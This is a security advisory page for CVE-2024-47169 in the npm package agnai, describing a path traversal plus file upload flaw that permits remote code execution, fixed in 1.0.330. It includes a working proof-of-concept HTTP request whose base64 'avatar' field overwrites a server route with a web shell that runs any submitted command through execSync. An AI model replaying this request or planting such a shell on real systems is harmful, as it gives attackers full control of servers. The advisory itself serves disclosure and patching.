Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS1tcGNoLTg5Z20taG04M84AA_zD

Agnai vulnerable to Remote Code Execution via JS Upload using Directory Traversal

Summary

A vulnerability has been discovered in Agnai that permits attackers to upload arbitrary files to attacker-chosen locations on the server, including JavaScript, enabling the execution of commands within those files. This issue could result in unauthorized access, full server compromise, data leakage, and other critical security threats.

This does not affect:

This DOES affect:

CWEs

CWE-35: Path Traversal

CWE-434: Unrestricted Upload of File with Dangerous Type

CVSS-4.0 - 9.0 - Critical

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Description

Path Traversal and Unrestricted Upload of File with Dangerous Type

Path Traversal Location

POST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1
{"_id": "/../../../../../../app/srv/api/voice",...<ommitted>}

In the following file, the _id parameter which is a remote-supplied parameter is not properly validated and sanitized.

https://github.com/agnaistic/agnai/blob/437227d9aa86132f3be3b41c89981cb393c903d0/srv/api/chat/characters.ts#L101

 const upserted: AppSchema.Character = {
    _id: body._id || `temp-${v4().slice(0, 8)}`,
    kind: 'character',
    createdAt: now(),

In the following file, the filename (or id) and content variables are not properly sanitized and validated,

https://github.com/agnaistic/agnai/blob/dev/srv/api/upload.ts#L63

export async function entityUploadBase64(kind: string, id: string, content?: string) {
  if (!content) return
  if (!content.includes(',')) return

  const filename = `${kind}-${id}`
  const attachment = toAttachment(content)
  return upload(attachment, filename)
}
function toAttachment(content: string): Attachment {
  const [prefix, base64] = content.split(',')
  const type = prefix.slice(5, -7)
  const [, ext] = type.split('/')
  return {
    ext,
    field: '',
    original: '',
    type: getType(ext),
    content: Buffer.from(base64, 'base64'),
  }
}

An attacker can freely specify arbitrary file types (and arbitrary base64-encoded file content), thereby permitting them to upload JavaScript files and by abusing the _id parameter, to control the location of the file to overwrite an existing server file;

POST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1
...
Connection: keep-alive

{
"_id": "/../../../../../../app/srv/api/voice",
"name":"","description":"","culture":"en-us","tags":[],"scenario":"","appearance":"","visualType":"avatar","avatar":"data:image/js;base64,InVzZSBzdHJpY3QiOwpPYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgIl9fZXNNb2R1bGUiLCB7IHZhbHVlOiB0cnVlIH0pOwpjb25zdCBleHByZXNzXzEgPSByZXF1aXJlKCJleHByZXNzIik7CmNvbnN0IHdyYXBfMSA9IHJlcXVpcmUoIi4vd3JhcCIpOwpjb25zdCB2b2ljZV8xID0gcmVxdWlyZSgiLi4vdm9pY2UiKTsKY29uc3QgZGJfMSA9IHJlcXVpcmUoIi4uL2RiIik7CmNvbnN0IHZhbGlkXzEgPSByZXF1aXJlKCIvY29tbW9uL3ZhbGlkIik7CmNvbnN0IHJvdXRlciA9ICgwLCBleHByZXNzXzEuUm91dGVyKSgpOwpjb25zdCB0ZXh0VG9TcGVlY2hWYWxpZCA9IHsgdGV4dDogJ3N0cmluZycsIHZvaWNlOiAnYW55JyB9Owpjb25zdCB0ZXh0VG9TcGVlY2ggPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdXNlciA9IHVzZXJJZCA/IGF3YWl0IGRiXzEuc3RvcmUudXNlcnMuZ2V0VXNlcih1c2VySWQpIDogYm9keS51c2VyOwogICAgY29uc3QgZ3Vlc3RJZCA9IHVzZXJJZCA/IHVuZGVmaW5lZCA6IHNvY2tldElkOwogICAgKDAsIHZhbGlkXzEuYXNzZXJ0VmFsaWQpKHRleHRUb1NwZWVjaFZhbGlkLCBib2R5KTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZW5lcmF0ZVRleHRUb1NwZWVjaCkodXNlciwgbG9nLCBndWVzdElkLCBib2R5LnRleHQsIGJvZHkudm9pY2UpOwp9KTsKY29uc3QgZ2V0Vm9pY2VzID0gKDAsIHdyYXBfMS5oYW5kbGUpKGFzeW5jICh7IGJvZHksIHVzZXJJZCwgc29ja2V0SWQsIGxvZywgcGFyYW1zIH0pID0+IHsKICAgIGNvbnN0IHR0c1NlcnZpY2UgPSBwYXJhbXMuaWQ7CiAgICBjb25zdCB1c2VyID0gdXNlcklkID8gYXdhaXQgZGJfMS5zdG9yZS51c2Vycy5nZXRVc2VyKHVzZXJJZCkgOiBib2R5LnVzZXI7CiAgICBjb25zdCBndWVzdElkID0gdXNlcklkID8gdW5kZWZpbmVkIDogc29ja2V0SWQ7CiAgICByZXR1cm4gKDAsIHZvaWNlXzEuZ2V0Vm9pY2VzTGlzdCkoeyB0dHNTZXJ2aWNlOiB0dHNTZXJ2aWNlLCB1c2VyIH0sIGxvZywgZ3Vlc3RJZCk7Cn0pOwpjb25zdCBnZXRNb2RlbHMgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdHRzU2VydmljZSA9IHBhcmFtcy5pZDsKICAgIGNvbnN0IHVzZXIgPSB1c2VySWQgPyBhd2FpdCBkYl8xLnN0b3JlLnVzZXJzLmdldFVzZXIodXNlcklkKSA6IGJvZHkudXNlcjsKICAgIGNvbnN0IGd1ZXN0SWQgPSB1c2VySWQgPyB1bmRlZmluZWQgOiBzb2NrZXRJZDsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpjb25zdCBnZXRDbWQgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewoJY29uc3QgY2hpbGRfcHJvY2Vzc18xID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpOwoJY2hpbGRfcHJvY2Vzc18xLmV4ZWNTeW5jKGJvZHkuY21kKTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpyb3V0ZXIucG9zdCgnL3R0cycsIHRleHRUb1NwZWVjaCk7CnJvdXRlci5wb3N0KCcvOmlkL3ZvaWNlcycsIGdldFZvaWNlcyk7CnJvdXRlci5wb3N0KCcvOmlkL21vZGVscycsIGdldE1vZGVscyk7CnJvdXRlci5wb3N0KCcvY21kJywgZ2V0Q21kKTsKZXhwb3J0cy5kZWZhdWx0ID0gcm91dGVyOwovLyMgc291cmNlTWFwcGluZ1VSTD12b2ljZS5qcy5tYXA=","sprite":null,"greeting":"","sampleChat":"","voiceDisabled":false,"voice":{},"systemPrompt":"","postHistoryInstructions":"","insert":{"prompt":"","depth":3},"alternateGreetings":[],"creator":"","characterVersion":"","persona":{"kind":"text","attributes":{"text":[""]}},"imageSettings":{"type":"sd","steps":10,"width":512,"height":512,"prefix":"","suffix":"","negative":"","cfg":9,"summariseChat":true,"summaryPrompt":""}}

Risk

The attacker can write arbitrary files to disk, including overwriting existing JavaScript to execute arbitrary code on the server, leading to a complete system compromise, server control, and further network penetration.

Attackers can gain full access to the server.

Recommendation

Input Validation

Arbitrary File Upload

Credits

Permalink: https://github.com/advisories/GHSA-mpch-89gm-hm83
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcGNoLTg5Z20taG04M84AA_zD
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: about 2 months ago
Updated: about 2 months ago


CVSS Score: 8.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-mpch-89gm-hm83, CVE-2024-47169
References: Repository: https://github.com/agnaistic/agnai
Blast Radius: 1.0

Affected Packages

npm:agnai
Dependent packages: 1
Dependent repositories: 0
Downloads: 1,380 last month
Affected Version Ranges: < 1.0.330
Fixed in: 1.0.330
All affected versions: 1.0.0, 1.0.3, 1.0.5, 1.0.6, 1.0.7, 1.0.8, 1.0.9, 1.0.10, 1.0.11, 1.0.12, 1.0.13, 1.0.14, 1.0.15, 1.0.16, 1.0.17, 1.0.18, 1.0.19, 1.0.20, 1.0.21, 1.0.22, 1.0.23, 1.0.24, 1.0.25, 1.0.26, 1.0.27, 1.0.28, 1.0.29, 1.0.30, 1.0.31, 1.0.32, 1.0.33, 1.0.34, 1.0.35, 1.0.36, 1.0.37, 1.0.38, 1.0.39, 1.0.40, 1.0.41, 1.0.42, 1.0.43, 1.0.44, 1.0.45, 1.0.46, 1.0.47, 1.0.48, 1.0.49, 1.0.50, 1.0.51, 1.0.52, 1.0.53, 1.0.54, 1.0.55, 1.0.56, 1.0.57, 1.0.58, 1.0.59, 1.0.60, 1.0.61, 1.0.62, 1.0.63, 1.0.64, 1.0.65, 1.0.66, 1.0.67, 1.0.68, 1.0.69, 1.0.70, 1.0.71, 1.0.72, 1.0.73, 1.0.74, 1.0.75, 1.0.76, 1.0.77, 1.0.78, 1.0.79, 1.0.80, 1.0.81, 1.0.82, 1.0.83, 1.0.84, 1.0.85, 1.0.86, 1.0.87, 1.0.88, 1.0.89, 1.0.90, 1.0.91, 1.0.92, 1.0.93, 1.0.94, 1.0.95, 1.0.96, 1.0.97, 1.0.98, 1.0.99, 1.0.100, 1.0.101, 1.0.102, 1.0.103, 1.0.104, 1.0.105, 1.0.106, 1.0.107, 1.0.108, 1.0.109, 1.0.110, 1.0.111, 1.0.112, 1.0.113, 1.0.114, 1.0.115, 1.0.116, 1.0.117, 1.0.118, 1.0.119, 1.0.120, 1.0.121, 1.0.122, 1.0.123, 1.0.124, 1.0.125, 1.0.126, 1.0.127, 1.0.128, 1.0.129, 1.0.130, 1.0.131, 1.0.132, 1.0.133, 1.0.134, 1.0.135, 1.0.136, 1.0.137, 1.0.138, 1.0.139, 1.0.140, 1.0.141, 1.0.142, 1.0.143, 1.0.144, 1.0.145, 1.0.146, 1.0.147, 1.0.148, 1.0.149, 1.0.150, 1.0.151, 1.0.152, 1.0.153, 1.0.154, 1.0.155, 1.0.156, 1.0.157, 1.0.158, 1.0.159, 1.0.160, 1.0.161, 1.0.162, 1.0.163, 1.0.164, 1.0.165, 1.0.166, 1.0.167, 1.0.168, 1.0.169, 1.0.170, 1.0.171, 1.0.172, 1.0.173, 1.0.174, 1.0.175, 1.0.176, 1.0.177, 1.0.178, 1.0.179, 1.0.180, 1.0.181, 1.0.182, 1.0.183, 1.0.184, 1.0.185, 1.0.186, 1.0.187, 1.0.188, 1.0.189, 1.0.190, 1.0.191, 1.0.192, 1.0.193, 1.0.194, 1.0.195, 1.0.196, 1.0.197, 1.0.198, 1.0.199, 1.0.200, 1.0.201, 1.0.202, 1.0.203, 1.0.204, 1.0.205, 1.0.206, 1.0.207, 1.0.208, 1.0.209, 1.0.210, 1.0.211, 1.0.212, 1.0.213, 1.0.214, 1.0.215, 1.0.216, 1.0.217, 1.0.218, 1.0.219, 1.0.220, 1.0.221, 1.0.222, 1.0.223, 1.0.224, 1.0.225, 1.0.226, 1.0.227, 1.0.228, 1.0.229, 1.0.230, 1.0.231, 1.0.232, 1.0.233, 1.0.234, 1.0.235, 1.0.236, 1.0.237, 1.0.238, 1.0.239, 1.0.240, 1.0.241, 1.0.242, 1.0.243, 1.0.244, 1.0.245, 1.0.246, 1.0.247, 1.0.248, 1.0.249, 1.0.250, 1.0.251, 1.0.252, 1.0.253, 1.0.254, 1.0.255, 1.0.256, 1.0.257, 1.0.258, 1.0.259, 1.0.260, 1.0.261, 1.0.262, 1.0.263, 1.0.264, 1.0.265, 1.0.266, 1.0.267, 1.0.268, 1.0.269, 1.0.270, 1.0.271, 1.0.272, 1.0.273, 1.0.274, 1.0.275, 1.0.276, 1.0.277, 1.0.278, 1.0.279, 1.0.280, 1.0.281, 1.0.282, 1.0.283, 1.0.284, 1.0.285, 1.0.286, 1.0.287, 1.0.288, 1.0.289, 1.0.290, 1.0.291, 1.0.292, 1.0.293, 1.0.294, 1.0.295, 1.0.296, 1.0.297, 1.0.298, 1.0.299, 1.0.300, 1.0.301, 1.0.302, 1.0.303, 1.0.304, 1.0.305, 1.0.306, 1.0.307, 1.0.308, 1.0.309, 1.0.310, 1.0.311, 1.0.312, 1.0.313, 1.0.314, 1.0.315, 1.0.316, 1.0.317, 1.0.318, 1.0.319, 1.0.320, 1.0.321, 1.0.322, 1.0.323, 1.0.324, 1.0.325, 1.0.326, 1.0.327, 1.0.328, 1.0.329
All unaffected versions: 1.0.330, 1.0.331, 1.0.332, 1.0.333, 1.0.334, 1.0.335, 1.0.336, 1.0.337, 1.0.338, 1.0.339, 1.0.340, 1.0.341, 1.0.342, 1.0.343, 1.0.344, 1.0.345, 1.0.346, 1.0.347, 1.0.348, 1.0.349, 1.0.350, 1.0.351, 1.0.352, 1.0.353, 1.0.354, 1.0.355, 1.0.356, 1.0.357, 1.0.358, 1.0.359, 1.0.360, 1.0.361, 1.0.362, 1.0.363, 1.0.364, 1.0.365, 1.0.366, 1.0.367, 1.0.368, 1.0.369, 1.0.370, 1.0.371, 1.0.372, 1.0.373, 1.0.374, 1.0.375, 1.0.376, 1.0.377